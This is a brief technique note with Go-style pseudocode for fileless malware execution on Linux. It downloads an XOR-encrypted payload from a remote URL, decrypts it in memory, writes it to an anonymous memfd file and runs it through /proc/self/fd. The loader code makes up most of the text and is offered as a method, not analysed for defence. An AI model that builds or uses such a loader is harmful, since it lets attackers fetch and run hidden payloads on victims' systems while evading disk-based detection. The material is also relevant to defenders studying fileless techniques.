923 B
923 B
- In-memory binary file execution
- Use
memfdsyscall to create a virtual file entirely in memory and then use the file's symbolic link (/proc/self/fd/<id>) to execute it. - Basic process:
- Encrypt/encode payload
- Host and download payload
- Decrypt payload in memory and initialize "anonymous" file using
memfd - Copy decrypted payload into memory-only file and execute
- Use
- High-level pseudocode:
func main() {
// Download the encrypted payload
data, err := getURLContent(path)
// Decrypt it using XOR operation
decryptedData := decryptXor(data, []byte("verylongkey"))
// Create an anonymous file in memory
mfd, err := memfd.Create()
// Write the decrypted payload to the file
mfd.Write(decryptedData)
// Get the symbolic link to the file
filePath := fmt.Sprintf("/proc/self/fd/%d", mfd.Fd())
// Execute the file
cmd := exec.Command(filePath)
out, err := cmd.Run()
}